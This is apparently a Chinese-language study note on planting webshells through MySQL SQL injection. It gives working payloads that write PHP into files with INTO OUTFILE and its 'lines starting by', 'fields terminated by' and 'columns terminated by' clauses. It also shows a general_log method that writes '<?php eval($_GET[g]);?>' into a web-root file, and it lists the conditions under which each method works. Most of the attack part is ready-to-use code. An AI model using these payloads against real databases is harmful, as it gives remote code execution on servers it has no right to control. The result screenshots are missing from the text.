(菜鸟一枚,日常记录,写的不对的地方欢迎大家指正)
1.lines starting by写入
注入原理:利用lines starting by语句进行拼接,拼接后面的webshell内容,lines starting by可以理解成以每行开始的位置添加xx语句。
注入:
结果验证:
2.fields terminated by写入
fields terminated by原理为在输出数据的每个字段之间插入webshell内容,所以如果select返回的只有一个字段,则写入的文件不包含webshell内容,例如下面语句
SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
写入的文件中只包含username的值而没有webshell内容。
注入:
1' into outfile 'F:\\phpstudy\\MySQL\\data\\ws2.php' fields terminated by '<?php phpinfo();?>' #
结果验证:
此处为两个字段,因而成功写入webshell。
3.COLUMNS terminated by写入
利用COLUMNS terminated by语句进行拼接,拼接后面的webshell内容,COLUMNS terminated by可以理解为以每个字段的位置添加xx内容。
注入:
1' into outfile 'F:\\phpstudy\\MySQL\\data\\ws3.php' columns terminated by '<?php phpinfo();?>' #
实验结果:
4.利用log写入
1)新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。
2)需要满足的条件
- 对web目录有写权限
- GPC关闭(GPC:是否对单引号转义)
- 有绝对路径(读文件可以不用,写文件需要)
- 需要能执行多行SQL语句
3)操作如下:
show variables like '%general%'; # 查看配置
set global general_log = on; # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址
select '<?php eval($_GET[g]);?>' # 写入shell
set global general_log=off; # 关闭general log模式
连接本机数据库:
4)结果验证:
参考链接:
(5条消息) SQL注入写入webshell_番茄酱料的博客-CSDN博客
报错注入邂逅load_file&into outfile搭讪LINES - 先知社区 (aliyun.com)
(5条消息) SQL注入写webshell_sql注入写入webshell_天猫来下凡的博客-CSDN博客
(5条消息) mysql写入一句话的方式_by x'01' lines terminated by x'0a_孤君的博客-CSDN博客